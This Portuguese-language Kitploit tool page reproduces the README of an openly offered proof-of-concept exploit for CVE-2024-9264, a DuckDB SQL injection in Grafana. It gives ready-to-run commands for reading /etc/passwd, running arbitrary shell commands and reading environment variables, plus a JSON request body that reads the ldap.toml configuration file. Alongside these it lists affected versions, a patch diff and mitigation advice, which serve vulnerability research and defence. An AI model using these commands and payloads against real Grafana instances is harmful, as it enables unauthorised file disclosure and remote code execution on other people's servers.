Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-9264 — Exploit para leitura arbitrária de arquivos e RCE no Grafana (CVE-2024-9264) | Kitploit
Ferramentas/GitHubGitHub/nollium/cve-2024-9264
Geração de PayloadsAnálise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed Teaming
GitHubnollium/cve-2024-9264

CVE-2024-9264

Exploit para leitura arbitrária de arquivos e RCE no Grafana (CVE-2024-9264)

Ver Repositório
132163há 1 anoRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-9264

Injeção de SQL DuckDB pós-autenticação no Grafana (RCE, Leitura de Arquivos)

Prova de Conceito (PoC)

Esta PoC demonstra a exploração do CVE-2024-9264 usando um usuário autenticado para realizar uma consulta SQL no DuckDB e ler um arquivo arbitrário no sistema de arquivos ou executar código arbitrário remotamente.

Código arbitrário só pode ser executado no Grafana v11.0.0.

Arquivos podem ser lidos em todas as versões vulneráveis.

Configuração: Instale as dependências necessárias via:

root@kitploit:~
pip install -r requirements.txt

Uso

Leitura de Arquivo (Universal):

root@kitploit:~
python3 CVE-2024-9264.py -u user -p pass  -f /etc/passwd  http://localhost:3000

Execução de comando (apenas v11.0.0)

root@kitploit:~
python3 CVE-2024-9264.py -u user -p user -c <shell-cmd> http://localhost:3000

Você também pode executar consultas DuckDB arbitrárias, como chamar getenv para recuperar variáveis de ambiente:

root@kitploit:~
python3 CVE-2024-9264.py -u user -p pass -q "SELECT getenv('PATH')" http://localhost:3000

A lista de funções utilitárias do DuckDB que podem ser exploradas pode ser encontrada aqui.

Visão Geral da Vulnerabilidade

CVE-2024-9264 é uma vulnerabilidade de injeção SQL no DuckDB no recurso experimental de Expressões SQL do Grafana. Qualquer usuário autenticado pode executar consultas SQL arbitrárias no DuckDB através de expressões modificadas nos dashboards do Grafana.

Versões Afetadas:

  • Grafana OSS e Enterprise versões 11.0.0 - 11.0.5, 11.1.0 - 11.1.6 e 11.2.0 - 11.2.1.

Versões Corrigidas:

  • 11.0.5+security-01 e posteriores

Encontrando o Patch

O Grafana lançou versões especiais para corrigir esta vulnerabilidade. Para analisar o patch, os seguintes comandos podem ser usados para comparar as alterações:

root@kitploit:~
git checkout v11.0.5+security-01
git diff 0421a8911cfc05a46c516fd9d033a51e52e51afe 70316b3e1418c9054017047e63c1c96abb26f495

Isso revela que o recurso de Expressões SQL foi simplesmente removido das versões vulneráveis.

root@kitploit:~
+++ b/pkg/expr/sql/db.go
@@ -0,0 +1,26 @@
+package sql
+
+import (
+       "errors"
+
+       "github.com/grafana/grafana-plugin-sdk-go/data"
+)
+
+type DB struct {
+}
+
+func (db *DB) TablesList(rawSQL string) ([]string, error) {
+       return nil, errors.New("not implemented")
+}
+
+func (db *DB) RunCommands(commands []string) (string, error) {
+       return "", errors.New("not implemented")
+}
+
+func (db *DB) QueryFramesInto(name string, query string, frames []*data.Frame, f *data.Frame) error {
+       return errors.New("not implemented")
+}
+
+func NewInMemoryDB() *DB {
+       return &DB{}
+}
root@kitploit:~
@@ -85,7 +84,7 @@ func (gr *SQLCommand) Execute(ctx context.Context, now time.Time, vars mathexp.V
 
        rsp := mathexp.Results{}
 
-       duckDB := duck.NewInMemoryDB()
+       duckDB := sql.NewInMemoryDB()
        var frame = &data.Frame{}
        err := duckDB.QueryFramesInto(gr.refID, gr.query, allFrames, frame);
        if err != nil {

O patch remove as Expressões SQL completamente, impedindo a possibilidade de exploração.

Explorando a Vulnerabilidade

  1. Inicie o Grafana: Execute o Grafana com a versão 11.0.5:

    root@kitploit:~
    docker run --name=grafana -p 3000:3000 grafana/grafana-enterprise:11.0.5
    
  2. Modifique uma Expressão: Crie um dashboard com uma expressão como "Math", intercepte a requisição com o Burp e altere o tipo de datasource de math para sql.

    Uma requisição HTTP será enviada para /api/ds/query?ds_type=__expr__&expression=true&requestId=Q101.

    Abaixo está o JSON mínimo necessário para realizar uma consulta DuckDB para ler um arquivo arbitrário como ./conf/ldap.toml:

    root@kitploit:~
    {
      "queries": [
        {
          "refId": "B",
          "datasource": {
            "type": "__expr__",
            "uid": "__expr__",
            "name": "Expression"
          },
          "type": "sql",
          "hide": false,
          "expression": "SELECT content FROM read_blob(\"./conf/ldap.toml\")",
          "window": ""
        }
      ],
      "from": "1729313027261",
      "to": "1729334627261"
    }
    

Nenhum dashboard precisa estar presente para a exploração real, é apenas uma maneira fácil de encontrar a requisição HTTP para executar uma consulta.

Probabilidade de Exploração

É importante notar que, embora esta vulnerabilidade seja crítica, sua exploração depende se o binário DuckDB está instalado no servidor Grafana. Por padrão, o Grafana não é fornecido com o DuckDB instalado, e não há opção para instalá-lo diretamente pela interface do Grafana.

Para que esta vulnerabilidade seja explorável, um administrador deve ter instalado manualmente o DuckDB e adicionado ao $PATH do servidor Grafana. Se o DuckDB não estiver presente, a vulnerabilidade de injeção SQL não pode ser aproveitada, reduzindo significativamente a probabilidade de exploração bem-sucedida em instalações padrão.

Mitigação

Atualize o Grafana para as versões corrigidas e certifique-se de que o binário DuckDB não esteja presente no $PATH se a aplicação do patch for adiada.

Créditos

Esta PoC usa o framework ten desenvolvido por cfreal.

Baixar ferramenta